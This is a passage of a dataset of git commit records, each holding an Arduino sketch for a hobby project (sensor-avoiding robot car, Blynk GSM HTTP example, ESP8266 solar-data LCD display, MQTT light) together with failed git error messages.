information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/druus\/parking-assistant.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5e858ff8869d0343373a43a25ac49712c75a8721","subject":"added pingAvoidenceTest to projects","message":"added pingAvoidenceTest to projects\n","repos":"MINDS-i\/MINDS-i","old_file":"examples\/3-Projects\/pingAvoidenceTest\/pingAvoidenceTest.ino","new_file":"examples\/3-Projects\/pingAvoidenceTest\/pingAvoidenceTest.ino","new_contents":"#include <Servo.h>\n#include <MINDSi.h>\n#include <GreatCircle.h>\n\n\/*\nThis code uses a radio plugged in to RadioPin[] to drive around, but uses 5 ping\nsensors to interefere and avoid walls\n*\/\n\nconst uint8_t PingPin[] = {A4, A1, A0, A2, A3}; \/\/left to right\nconst uint8_t ServoPin[] = {12, 11, 8};\/\/drive, steer, backs, outputs 1,2,3 resp\nconst uint8_t RadioPin[] = {2, 3}; \/\/drive, steer\nconst uint16_t \t warn[] = {1000, 1400, 2500, 1400, 1000};\n\nconst int STOP_TIME = 1500;\/\/time to coast to stop\nconst int DANGER_TIME = STOP_TIME+1000; \/\/time to backup after last sighting\n\nconst double pAngle[5]={ 79.27l, 36.83l, 0.l, -36.83l, -79.27l};\nconst double ISTR = 1.l;\nconst double PSTR = 1350.l;\n\nServo servo[3]; \/\/drive, steer, backSteer\nuint8_t pIter;\nuint16_t ping[5]={20000,20000,20000,20000,20000};\nint outputAngle, backDir;\nuint32_t oTime, nTime, uTime;\n\nvoid setup(){\n\tfor(int i=0; i<3; i++) servo[i].attach(ServoPin[i]);\n\toutput(90,90);\n\tdelay(2000);\n\tSerial.begin(9600);\n\tuTime = millis();\n\tgetRadio(RadioPin[0]);\n}\n\nvoid loop(){\n\tif(uTime <= millis()){\n\t\tuTime += 100;\n\t\tcheckPing();\n\t\tnavigate();\n\t}\n}\n\nvoid checkPing(){\n\tping[pIter] = getPing(PingPin[pIter]);\n\tpIter++;\n\tpIter = pIter%5;\n\tif(ping[pIter] < warn[pIter]) oTime = millis();\n}\n\nvoid navigate(){\n\t if (oTime != 0) {\n\t\tif(nTime == 0){\n\t\t\toutput(90, 90);\n\t\t\tnTime = millis();\n\t\t\tbackDir = (ping[0]<ping[4])? 65 : 115;\n\t\t} else if(nTime+STOP_TIME < millis()){\n\t\t\toutput(75, backDir);\n\t\t}\n\n\t\tif(oTime+DANGER_TIME < millis()){\n\t\t\tnTime = 0;\n\t\t\toTime = 0;\n\t\t}\n\t} else {\n\t\tdouble inputAngle = getRadio(RadioPin[1])-90;\n\t\tdouble x,y;\n\t\tx = ISTR*cos(toRad(inputAngle));\n\t\ty = ISTR*sin(toRad(inputAngle));\n\n\t\tfor(int i=0; i<5; i++) checkPing();\n\t\tfor(int i=0; i<5; i++){\n\t\t\tdouble tmp = ping[i]\/PSTR;\n\t\t\ttmp *= tmp;\n\t\t\tx += cos(toRad(pAngle[i]))\/tmp;\n\t\t\ty += sin(toRad(pAngle[i]))\/tmp;\n\t\t}\n\n\t\toutputAngle = toDeg(atan2(y,x))+90;\n\t\tbound(45, outputAngle, 135);\n\t\toutput(getRadio(RadioPin[0]), outputAngle);\n\t}\n}\n\nvoid output(uint8_t drive, uint8_t steer){\n\tservo[0].write(drive);\n\tservo[1].write(steer);\n\tservo[2].write(180-steer);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/3-Projects\/pingAvoidenceTest\/pingAvoidenceTest.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b290716c5a1107451bf98ed9f7d9435c84100596","subject":"Add SIM800\/SIM900 HTTP API example","message":"Add SIM800\/SIM900 HTTP API example\n","repos":"ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library","old_file":"examples\/Boards_With_HTTP_API\/SIM800_SIM900\/SIM800_SIM900.ino","new_file":"examples\/Boards_With_HTTP_API\/SIM800_SIM900\/SIM800_SIM900.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * This example code is in public domain.\n *\n **************************************************************\n * Project setup in the Blynk app:\n * Value Display widget on V2\n *\n **************************************************************\/\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nconst char auth[] = \"YourAuthToken\";\n\n\/\/ APN data\n#define GPRS_APN \"YourAPN\" \/\/ Replace your GPRS APN\n#define GPRS_USER \"\" \/\/ Replace with your GPRS user\n#define GPRS_PASSWORD \"\" \/\/ Replace with your GPRS password\n\n\/\/ Uncomment this to use HTTPS\n\/\/#define USE_HTTPS\n\n\/\/ Set Serial to which GSM module is connected\nStream* stream = &Serial1;\n\n\/\/ Blynk cloud server\nconst char* host = \"blynk-cloud.com\";\n\nbool gprsInit();\nbool gprsConnect();\nbool gprsDisconnect();\n\nvoid setup()\n{\n Serial.begin(9600);\n delay(10);\n Serial.println();\n Serial.println();\n\n \/\/ Setup GPRS module baud rate\n Serial1.begin(115200);\n delay(3000);\n\n gprsInit();\n}\n\nvoid loop() {\n gprsConnect();\n\n String response;\n\n unsigned long value = millis();\n\n \/\/ Send value to the cloud\n \/\/ similar to Blynk.virtualWrite()\n\n Serial.print(\"Sending value: \");\n Serial.println(value);\n\n if (httpRequest(\"GET\", String(\"\/\") + auth + \"\/update\/V2?value=\" + value, \"\", response)) {\n if (response.length() != 0) {\n Serial.print(\"WARNING: \");\n Serial.println(response);\n }\n }\n\n \/\/ Read the value back\n \/\/ similar to Blynk.syncVirtual()\n\n Serial.println(\"Reading value\");\n\n if (httpRequest(\"GET\", String(\"\/\") + auth + \"\/get\/V2\", \"\", response)) {\n Serial.print(\"Value from server: \");\n Serial.println(response);\n }\n\n \/\/ Set Property\n Serial.println(\"Setting property\");\n\n if (httpRequest(\"GET\", String(\"\/\") + auth + \"\/update\/V2?label=\" + value, \"\", response)) {\n if (response.length() != 0) {\n Serial.print(\"WARNING: \");\n Serial.println(response);\n }\n }\n\n \/\/ For more HTTP API, see http:\/\/docs.blynkapi.apiary.io\n\n \/\/ Disconnect and wait\n gprsDisconnect();\n\n Serial.println(\"Waiting 1 minute...\");\n Serial.println();\n Serial.println();\n delay(60000L);\n}\n\n\/**************************************************************\n * AT commands stuff\n **************************************************************\/\n\ntypedef const __FlashStringHelper* GsmConstStr;\n\nvoid sendAT(const String& cmd) {\n stream->print(\"AT\");\n stream->println(cmd);\n}\n\nuint8_t waitResponse(uint32_t timeout, GsmConstStr r1,\n GsmConstStr r2 = NULL, GsmConstStr r3 = NULL)\n{\n String data;\n data.reserve(64);\n int index = 0;\n for (unsigned long start = millis(); millis() - start < timeout; ) {\n while (stream->available() > 0) {\n int c = stream->read();\n if (c < 0) continue;\n data += (char)c;\n if (data.indexOf(r1) >= 0) {\n index = 1;\n goto finish;\n } else if (r2 && data.indexOf(r2) >= 0) {\n index = 2;\n goto finish;\n } else if (r3 && data.indexOf(r3) >= 0) {\n index = 3;\n goto finish;\n }\n }\n }\nfinish:\n return index;\n}\n\n\nuint8_t waitResponse(GsmConstStr r1,\n GsmConstStr r2 = NULL, GsmConstStr r3 = NULL)\n{\n return waitResponse(1000, r1, r2, r3);\n}\n\nuint8_t waitOK_ERROR(uint32_t timeout = 1000) {\n return waitResponse(timeout, F(\"OK\\r\\n\"), F(\"ERROR\\r\\n\"));\n}\n\nbool gprsInit()\n{\n sendAT(F(\"E0\"));\n waitOK_ERROR();\n\n sendAT(F(\"+SAPBR=3,1,\\\"Contype\\\",\\\"GPRS\\\"\"));\n waitOK_ERROR();\n\n sendAT(F(\"+SAPBR=3,1,\\\"APN\\\",\\\"\" GPRS_APN \"\\\"\"));\n waitOK_ERROR();\n\n#ifdef GPRS_USER\n sendAT(F(\"+SAPBR=3,1,\\\"USER\\\",\\\"\" GPRS_USER \"\\\"\"));\n waitOK_ERROR();\n#endif\n#ifdef GPRS_PASSWORD\n sendAT(F(\"+SAPBR=3,1,\\\"PWD\\\",\\\"\" GPRS_PASSWORD \"\\\"\"));\n waitOK_ERROR();\n#endif\n\n sendAT(F(\"+CGDCONT=1,\\\"IP\\\",\\\"\" GPRS_APN \"\\\"\"));\n waitOK_ERROR();\n return true;\n}\n\n\/\/ Start the GSM connection\nbool gprsConnect()\n{\n Serial.println(\"Connecting to GSM...\");\n\n sendAT(F(\"+CGACT=1,1\"));\n waitOK_ERROR(60000L);\n\n \/\/ Open a GPRS context\n sendAT(F(\"+SAPBR=1,1\"));\n waitOK_ERROR(30000L);\n \/\/ Query the GPRS context\n sendAT(F(\"+SAPBR=2,1\"));\n if (waitOK_ERROR(30000L) != 1)\n return false;\n\n Serial.println(\"GSM connected\");\n return true;\n}\n\nbool gprsDisconnect() {\n sendAT(F(\"+SAPBR=0,1\"));\n if (waitOK_ERROR(30000L) != 1)\n return;\n\n sendAT(F(\"+CGACT=0\"));\n waitOK_ERROR(60000L);\n\n Serial.println(\"GSM disconnected\");\n return true;\n}\n\nint httpRequest(const String& method,\n const String& url,\n const String& request,\n String& response)\n{\n Serial.print(F(\" Request: \"));\n Serial.print(host);\n Serial.println(url);\n\n sendAT(F(\"+HTTPTERM\"));\n waitOK_ERROR();\n\n sendAT(F(\"+HTTPINIT\"));\n waitOK_ERROR();\n\n sendAT(F(\"+HTTPPARA=\\\"CID\\\",1\"));\n waitOK_ERROR();\n\n#ifdef USE_HTTPS\n sendAT(F(\"+HTTPSSL=1\"));\n waitOK_ERROR();\n sendAT(String(F(\"+HTTPPARA=\\\"URL\\\",\\\"https:\/\/\")) + host + url + \"\\\"\");\n waitOK_ERROR();\n#else\n sendAT(String(F(\"+HTTPPARA=\\\"URL\\\",\\\"\")) + host + url + \"\\\"\");\n waitOK_ERROR();\n#endif\n\n if (request.length()) {\n sendAT(F(\"+HTTPPARA=\\\"CONTENT\\\",\\\"application\/json\\\"\"));\n waitOK_ERROR();\n sendAT(String(F(\"+HTTPDATA=\")) + request.length() + \",\" + 10000);\n waitResponse(F(\"DOWNLOAD\\r\\n\"));\n stream->print(request);\n waitOK_ERROR();\n }\n\n if (method == \"GET\") {\n sendAT(F(\"+HTTPACTION=0\"));\n } else if (method == \"PUT\") {\n sendAT(F(\"+HTTPACTION=1\"));\n }\n waitOK_ERROR();\n\n if (waitResponse(30000L, F(\"+HTTPACTION:\")) != 1) {\n Serial.println(\"HTTPACTION Timeout\");\n return false;\n }\n stream->readStringUntil(',');\n int code = stream->readStringUntil(',').toInt();\n size_t len = stream->readStringUntil('\\n').toInt();\n\n if (code != 200) {\n Serial.print(\"Error code:\");\n Serial.println(code);\n sendAT(F(\"+HTTPTERM\"));\n waitOK_ERROR();\n return false;\n }\n\n response = \"\";\n\n if (len > 0) {\n response.reserve(len);\n\n sendAT(F(\"+HTTPREAD\"));\n if (waitResponse(10000L, F(\"+HTTPREAD: \")) != 1) {\n Serial.println(\"HTTPREAD Timeout\");\n return false;\n }\n len = stream->readStringUntil('\\n').toInt();\n\n while (len--) {\n while (!stream->available()) {\n delay(1);\n }\n response += (char)(stream->read());\n }\n waitOK_ERROR();\n }\n\n sendAT(F(\"+HTTPTERM\"));\n waitOK_ERROR();\n\n return true;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Boards_With_HTTP_API\/SIM800_SIM900\/SIM800_SIM900.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"335d242f3c3c28a927432c06cd9c66ecd7ba15e4","subject":"Comments added with instructions for pins for ATTiny 13","message":"Comments added with instructions for pins for ATTiny 13\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/MinimalGripper\/ClawForITTiny13.ino","new_file":"Muscle\/Arduino Code\/MinimalGripper\/ClawForITTiny13.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/MinimalGripper\/ClawForITTiny13.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"60c686112f6fcdf8ec8bfbd974b8def50efdb0f8","subject":"esp-01 lcd with solar pannel","message":"esp-01 lcd with solar pannel\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_53-esp-01-i2c-lcd\/_53-esp-01-i2c-lcd.ino","new_file":"_53-esp-01-i2c-lcd\/_53-esp-01-i2c-lcd.ino","new_contents":"#include <TimeLib.h>\n#include <PubSubClient.h>\n#include <ESP8266WiFi.h>\n#include <ESP8266mDNS.h>\n#include <Wire.h>\n#include <ArduinoOTA.h>\n#include <WiFiUdp.h>\n#include <ArduinoJson.h>\n#include <LiquidCrystal_I2C.h>\n\nextern \"C\" {\n#include \"user_interface.h\"\n}\n\n#include \"\/usr\/local\/src\/ap_setting.h\"\n\n#define INFO_PRINT 0\n#define DEBUG_PRINT 1\n\n#define SYS_CPU_80MHz 80\n#define SYS_CPU_160MHz 160\n\n\/\/ ****************\n\ntime_t getNtpTime();\nString macToStr(const uint8_t* mac);\nvoid callback(char* intopic, byte* inpayload, unsigned int length);\nvoid sendmqttMsg(char* topictosend, String payload);\nvoid sendNTPpacket(IPAddress & address);\nvoid sendUdpSyslog(String msgtosend);\nvoid sendUdpmsg(String msgtosend);\n\nconst char* ssid = WIFI_SSID;\nconst char* password = WIFI_PASSWORD;\nconst char* otapassword = OTA_PASSWORD;\n\n\/\/\nIPAddress influxdbudp = MQTT_SERVER;\nIPAddress mqtt_server = MQTT_SERVER;\nIPAddress time_server = MQTT_SERVER;\n\nstruct {\n float Temperature1;\n float Temperature2;\n float Humidity;\n float data1;\n float data2;\n uint16_t powerAvg;\n uint16_t WeightAvg;\n} solar_data;\n\nchar* hellotopic = \"HELLO\";\n\nchar* willTopic = \"clients\/solar\";\nchar* willMessage = \"0\";\n\n\/\/ subscribe\nconst char subrpi[] = \"raspberrypi\/data\";\nconst char subtopic_0[] = \"esp8266\/arduino\/s03\"; \/\/ lcd temp\nconst char subtopic_1[] = \"esp8266\/arduino\/s07\"; \/\/ power\nconst char subtopic_2[] = \"esp8266\/arduino\/s06\"; \/\/ nemo scale\nconst char subtopic_3[] = \"radio\/test\/2\"; \/\/Outside temp\n\nconst char* substopic[5] = { subrpi, subtopic_0, subtopic_1, subtopic_2, subtopic_3 } ;\n\nunsigned int localPort = 12390;\nconst int timeZone = 9;\n\n\/\/\nString clientName;\nString payload;\n\nString syslogPayload;\n\n\/\/ send reset info\nString getResetInfo;\nint ResetInfo = LOW;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\nLiquidCrystal_I2C lcd(0x27, 20, 4);\nWiFiClient wifiClient;\nPubSubClient client(mqtt_server, 1883, callback, wifiClient);\nWiFiUDP udp;\n\nlong lastReconnectAttempt = 0;\n\nbyte termometru[8] = { B00100, B01010, B01010, B01110, B01110, B11111, B11111, B01110, };\nbyte picatura[8] = { B00100, B00100, B01010, B01010, B10001, B10001, B10001, B01110, };\nbyte pirfill[8] = { B00111, B00111, B00111, B00111, B00111, B00111, B00111, B00111, };\nbyte powericon[8] = { B11111, B11011, B10001, B11011, B11111, B11000, B11000, B11000, };\nbyte nemoicon[8] = { B11011, B11011, B00100, B11111, B10101, B11111, B01010, B11011, };\n\nvoid wifi_connect() {\n \/*\n wifi_set_phy_mode(PHY_MODE_11N);\n system_phy_set_max_tpw(10);\n *\/\n \n WiFi.mode(WIFI_STA);\n WiFi.begin(ssid, password);\n WiFi.hostname(\"esp-solar\");\n\n int Attempt = 0;\n while (WiFi.status() != WL_CONNECTED) {\n delay(100);\n Attempt++;\n if (Attempt == 300) {\n ESP.restart();\n }\n }\n}\n\nboolean reconnect() {\n if (!client.connected()) {\n if (client.connect((char*) clientName.c_str(), willTopic, 0, true, willMessage)) {\n client.publish(willTopic, \"1\", true);\n if ( ResetInfo == LOW) {\n client.publish(hellotopic, (char*) getResetInfo.c_str());\n ResetInfo = HIGH;\n } else {\n client.publish(hellotopic, \"hello again 1 from solar\");\n }\n\n client.loop();\n for (int i = 0; i < 5; ++i) {\n client.subscribe(substopic[i]);\n client.loop();\n }\n\n if (DEBUG_PRINT) {\n sendUdpSyslog(\"---> mqttconnected\");\n }\n } else {\n if (DEBUG_PRINT) {\n syslogPayload = \"failed, rc=\";\n syslogPayload += client.state();\n sendUdpSyslog(syslogPayload);\n }\n }\n }\n return client.connected();\n}\n\nvoid ICACHE_RAM_ATTR callback(char* intopic, byte* inpayload, unsigned int length) {\n String receivedtopic = intopic;\n String receivedpayload ;\n\n for (int i = 0; i < length; i++) {\n receivedpayload += (char)inpayload[i];\n }\n\n if (INFO_PRINT) {\n syslogPayload = intopic;\n syslogPayload += \" ====> \";\n syslogPayload += receivedpayload;\n sendUdpSyslog(syslogPayload);\n }\n parseMqttMsg(receivedpayload, receivedtopic);\n}\n\nvoid parseMqttMsg(String receivedpayload, String receivedtopic) {\n char json[] = \"{\\\"Humidity\\\":43.90,\\\"Temperature\\\":22.00,\\\"DS18B20\\\":22.00,\\\"PIRSTATUS\\\":0,\\\"FreeHeap\\\":43552,\\\"acquireresult\\\":0,\\\"acquirestatus\\\":0,\\\"DHTnextSampleTime\\\":2121587,\\\"bDHTstarted\\\":0,\\\"RSSI\\\":-48,\\\"millis\\\":2117963}\";\n\n receivedpayload.toCharArray(json, 400);\n StaticJsonBuffer<400> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(json);\n\n if (!root.success()) {\n return;\n }\n\n if ( receivedtopic == substopic[0] ) {\n if (root.containsKey(\"data1\")) {\n solar_data.data1 = root[\"data1\"];\n }\n if (root.containsKey(\"data2\")) {\n solar_data.data2 = root[\"data2\"];\n }\n }\n\n if ( receivedtopic == substopic[1] ) {\n if (root.containsKey(\"Humidity\")) {\n solar_data.Humidity = root[\"Humidity\"];\n }\n\n if (root.containsKey(\"Temperature\")) {\n solar_data.Temperature1 = root[\"Temperature\"];\n }\n }\n\n if ( receivedtopic == substopic[2] ) {\n if (root.containsKey(\"powerAvg\")) {\n solar_data.powerAvg = root[\"powerAvg\"];\n }\n }\n\n if ( receivedtopic == substopic[3] ) {\n if (root.containsKey(\"WeightAvg\")) {\n solar_data.WeightAvg = root[\"WeightAvg\"];\n }\n }\n\n if ( receivedtopic == substopic[4] ) {\n if (root.containsKey(\"data1\")) {\n solar_data.Temperature2 = root[\"data1\"];\n }\n }\n}\n\nvoid setup() {\n Serial.swap();\n system_update_cpu_freq(SYS_CPU_80MHz);\n Wire.begin(0, 2);\n\n clientName += \"esp8266-\";\n uint8_t mac[6];\n WiFi.macAddress(mac);\n clientName += macToStr(mac);\n clientName += \"-\";\n clientName += String(micros() & 0xff, 16);\n\n \/\/\n lastReconnectAttempt = 0;\n\n getResetInfo = \"hello from solar \";\n getResetInfo += ESP.getResetInfo().substring(0, 50);\n\n \/\/ lcd\n lcd.init();\n lcd.backlight();\n lcd.clear();\n\n lcd.createChar(1, termometru);\n lcd.createChar(2, picatura);\n lcd.createChar(5, pirfill);\n lcd.createChar(6, powericon);\n lcd.createChar(7, nemoicon);\n\n lcd.setCursor(0, 1);\n lcd.write(1);\n\n lcd.setCursor(0, 2);\n lcd.write(2);\n\n lcd.setCursor(8, 2); \/\/ power\n lcd.write(6);\n\n lcd.setCursor(0, 3); \/\/ nemo\n lcd.write(7);\n\n lcd.setCursor(8, 3); \/\/ dust\n lcd.write(3);\n\n \/\/\n lcd.setCursor(6, 1);\n lcd.print((char)223);\n\n lcd.setCursor(12, 1);\n lcd.print((char)223);\n\n lcd.setCursor(6, 2);\n lcd.print(\"%\");\n\n WiFiClient::setLocalPortStart(analogRead(A0));\n wifi_connect();\n\n udp.begin(localPort);\n setSyncProvider(getNtpTime);\n\n if (timeStatus() == timeNotSet) {\n setSyncProvider(getNtpTime);\n }\n \n\n \/\/OTA\n ArduinoOTA.setPort(8266);\n ArduinoOTA.setHostname(\"esp-solar\");\n ArduinoOTA.setPassword(otapassword);\n ArduinoOTA.onStart([]() {\n sendUdpSyslog(\"ArduinoOTA Start\");\n });\n ArduinoOTA.onEnd([]() {\n sendUdpSyslog(\"ArduinoOTA End\");\n });\n ArduinoOTA.onProgress([](unsigned int progress, unsigned int total) {\n syslogPayload = \"Progress: \";\n syslogPayload += (progress \/ (total \/ 100));\n sendUdpSyslog(syslogPayload);\n });\n ArduinoOTA.onError([](ota_error_t error) {\n if (error == OTA_AUTH_ERROR) abort();\n else if (error == OTA_BEGIN_ERROR) abort();\n else if (error == OTA_CONNECT_ERROR) abort();\n else if (error == OTA_RECEIVE_ERROR) abort();\n else if (error == OTA_END_ERROR) abort();\n\n });\n\n ArduinoOTA.begin();\n\n if (DEBUG_PRINT) {\n syslogPayload = \"------------------> solar started\";\n sendUdpSyslog(syslogPayload);\n }\n}\n\ntime_t prevDisplay = 0;\n\nvoid loop() {\n if (WiFi.status() == WL_CONNECTED) {\n if (!client.connected()) {\n if (DEBUG_PRINT) {\n syslogPayload = \"failed, rc= \";\n syslogPayload += client.state();\n sendUdpSyslog(syslogPayload);\n }\n unsigned long now = millis();\n if (now - lastReconnectAttempt > 100) {\n lastReconnectAttempt = now;\n if (reconnect()) {\n lastReconnectAttempt = 0;\n }\n }\n } else {\n if (timeStatus() != timeNotSet) {\n if (now() != prevDisplay) {\n prevDisplay = now();\n digitalClockDisplay();\n displayTemperature();\n displayNemoWeight();\n displaypowerAvg();\n displayData();\n }\n }\n client.loop();\n }\n ArduinoOTA.handle();\n } else {\n wifi_connect();\n }\n}\n\nvoid displayData() {\n lcd.setCursor(8, 3);\n lcd.print(solar_data.data1, 0);\n\n lcd.setCursor(12, 3);\n lcd.print(solar_data.data2, 2); \n}\n\nvoid displaypowerAvg() {\n String str_Power = String(solar_data.powerAvg);\n int length_Power = str_Power.length();\n\n lcd.setCursor(10, 2);\n for ( int i = 0; i < ( 4 - length_Power ) ; i++ ) {\n lcd.print(\" \");\n }\n lcd.print(str_Power);\n}\n\nvoid displayNemoWeight() {\n String str_nemoWeight = String(solar_data.WeightAvg);\n int length_nemoWeight = str_nemoWeight.length();\n\n lcd.setCursor(2, 3);\n\n for ( int i = 0; i < ( 4 - length_nemoWeight ) ; i++ ) {\n lcd.print(\" \");\n }\n lcd.print(str_nemoWeight);\n}\n\n\nvoid displayTemperaturedigit(float Temperature) {\n String str_Temperature = String(int(Temperature)) ;\n int length_Temperature = str_Temperature.length();\n\n for ( int i = 0; i < ( 3 - length_Temperature ) ; i++ ) {\n lcd.print(\" \");\n }\n lcd.print(Temperature, 1);\n}\n\nvoid displayTemperature() {\n lcd.setCursor(1, 1);\n displayTemperaturedigit(solar_data.Temperature1);\n\n lcd.setCursor(7, 1);\n\n float tempdiff = solar_data.Temperature2 - solar_data.Temperature1 ;\n displayTemperaturedigit(solar_data.Temperature2);\n\n lcd.setCursor(14, 1);\n if ( tempdiff > 0 ) {\n lcd.print(\"+\");\n } else if ( tempdiff < 0 ) {\n lcd.print(\"-\");\n }\n\n String str_tempdiff = String(int abs(tempdiff));\n int length_tempdiff = str_tempdiff.length();\n\n lcd.setCursor(15, 1);\n lcd.print(abs(tempdiff), 1);\n if ( length_tempdiff == 1) {\n lcd.print(\" \");\n }\n\n lcd.setCursor(2, 2);\n if ( solar_data.Humidity >= 10 ) {\n lcd.print(solar_data.Humidity, 1);\n } else {\n lcd.print(\" \");\n lcd.print(solar_data.Humidity, 1);\n }\n}\nvoid digitalClockDisplay() {\n \/\/ digital clock display of the time\n lcd.setCursor(0, 0);\n lcd.print(\"[\");\n lcd.setCursor(1, 0);\n printDigitsnocolon(month());\n lcd.print(\"\/\");\n printDigitsnocolon(day());\n\n lcd.setCursor(7, 0);\n lcd.print(dayShortStr(weekday()));\n lcd.setCursor(11, 0);\n printDigitsnocolon(hour());\n printDigits(minute());\n printDigits(second());\n lcd.setCursor(19, 0);\n lcd.print(\"]\"); \n}\n\nvoid printDigitsnocolon(int digits) {\n if (digits < 10) {\n lcd.print('0');\n }\n lcd.print(digits);\n}\n\n\nvoid printDigits(int digits) {\n \/\/ utility for digital clock display: prints preceding colon and leading 0\n lcd.print(\":\");\n if (digits < 10) {\n lcd.print('0');\n }\n lcd.print(digits);\n}\n\nvoid ICACHE_RAM_ATTR sendmqttMsg(char* topictosend, String payload) {\n unsigned int msg_length = payload.length();\n\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) payload.c_str(), msg_length);\n\n if (client.publish(topictosend, p, msg_length, 1)) {\n free(p);\n } else {\n if (DEBUG_PRINT) {\n syslogPayload = topictosend;\n syslogPayload += \" - \";\n syslogPayload += payload;\n syslogPayload += \" : Publish fail\";\n sendUdpSyslog(syslogPayload);\n }\n free(p);\n }\n client.loop();\n}\n\nvoid ICACHE_RAM_ATTR sendUdpSyslog(String msgtosend) {\n unsigned int msg_length = msgtosend.length();\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) msgtosend.c_str(), msg_length);\n\n udp.beginPacket(influxdbudp, 514);\n udp.write(\"mqtt-solar: \");\n udp.write(p, msg_length);\n udp.endPacket();\n free(p);\n}\n\nvoid ICACHE_RAM_ATTR sendUdpmsg(String msgtosend) {\n unsigned int msg_length = msgtosend.length();\n byte* p = (byte*)malloc(msg_length);\n memcpy(p, (char*) msgtosend.c_str(), msg_length);\n\n udp.beginPacket(influxdbudp, 8089);\n udp.write(p, msg_length);\n udp.endPacket();\n free(p);\n}\n\nString macToStr(const uint8_t* mac) {\n String result;\n for (int i = 0; i < 6; ++i) {\n result += String(mac[i], 16);\n if (i < 5)\n result += ':';\n }\n return result;\n}\n\n\n\/*-------- NTP code ----------*\/\nconst int NTP_PACKET_SIZE = 48;\nbyte packetBuffer[NTP_PACKET_SIZE];\n\ntime_t getNtpTime() {\n while (udp.parsePacket() > 0) ;\n sendNTPpacket(time_server);\n uint32_t beginWait = millis();\n while (millis() - beginWait < 2500) {\n int size = udp.parsePacket();\n if (size >= NTP_PACKET_SIZE) {\n udp.read(packetBuffer, NTP_PACKET_SIZE);\n unsigned long secsSince1900;\n secsSince1900 = (unsigned long)packetBuffer[40] << 24;\n secsSince1900 |= (unsigned long)packetBuffer[41] << 16;\n secsSince1900 |= (unsigned long)packetBuffer[42] << 8;\n secsSince1900 |= (unsigned long)packetBuffer[43];\n return secsSince1900 - 2208988800UL + timeZone * SECS_PER_HOUR;\n }\n }\n return 0;\n}\n\nvoid sendNTPpacket(IPAddress & address) {\n memset(packetBuffer, 0, NTP_PACKET_SIZE);\n packetBuffer[0] = 0b11100011;\n packetBuffer[1] = 0;\n packetBuffer[2] = 6;\n packetBuffer[3] = 0xEC;\n packetBuffer[12] = 49;\n packetBuffer[13] = 0x4E;\n packetBuffer[14] = 49;\n packetBuffer[15] = 52;\n udp.beginPacket(address, 123);\n udp.write(packetBuffer, NTP_PACKET_SIZE);\n udp.endPacket();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_53-esp-01-i2c-lcd\/_53-esp-01-i2c-lcd.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"4e69e4c2036ea9499ff6bab5235c754d49121375","subject":"Create main.ino","message":"Create main.ino","repos":"TheIoTLearningInitiative\/CodeLabs,TheIoTLearningInitiative\/CodeLabs,TheIoTLearningInitiative\/CodeLabs,TheIoTLearningInitiative\/CodeLabs,TheIoTLearningInitiative\/CodeLabs,TheIoTLearningInitiative\/CodeLabs","old_file":"Edzna\/device\/main.ino","new_file":"Edzna\/device\/main.ino","new_contents":"\/*\n MQTT Light for Home-Assistant - NodeMCU (ESP8266)\n https:\/\/home-assistant.io\/components\/light.mqtt\/\n\n Libraries :\n - ESP8266 core for Arduino : https:\/\/github.com\/esp8266\/Arduino\n - PubSubClient : https:\/\/github.com\/knolleary\/pubsubclient\n\n Sources :\n - File > Examples > ES8266WiFi > WiFiClient\n - File > Examples > PubSubClient > mqtt_auth\n - File > Examples > PubSubClient > mqtt_esp8266\n\n Schematic :\n - https:\/\/github.com\/mertenats\/open-home-automation\/blob\/master\/ha_mqtt_light\/Schematic.png\n - GND - LED - Resistor 220 Ohms - D1\/GPIO5\n\n Configuration (HA) : \n light:\n platform: mqtt\n name: Office light'\n state_topic: 'office\/light1\/status'\n command_topic: 'office\/light1\/switch'\n optimistic: false\n\n Samuel M. - v1.1 - 08.2016\n If you like this example, please add a star! Thank you!\n https:\/\/github.com\/mertenats\/open-home-automation\n*\/\n\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n\n#define MQTT_VERSION MQTT_VERSION_3_1_1\n\nconst char* WIFI_SSID = \"INFINITUMfjph\";\nconst char* WIFI_PASSWORD = \"1c2899dfda\";\n\nconst PROGMEM char* MQTT_CLIENT_ID = \"edznalight\";\nconst PROGMEM char* MQTT_SERVER_IP = \"test.mosquitto.org\";\nconst PROGMEM uint16_t MQTT_SERVER_PORT = 1883;\nconst PROGMEM char* MQTT_USER = \"\";\nconst PROGMEM char* MQTT_PASSWORD = \"\";\n\nconst char* MQTT_LIGHT_STATE_TOPIC = \"edzna\/light\/status\";\nconst char* MQTT_LIGHT_COMMAND_TOPIC = \"edzna\/light\/switch\";\n\nconst char* LIGHT_ON = \"ON\";\nconst char* LIGHT_OFF = \"OFF\";\n\nconst PROGMEM 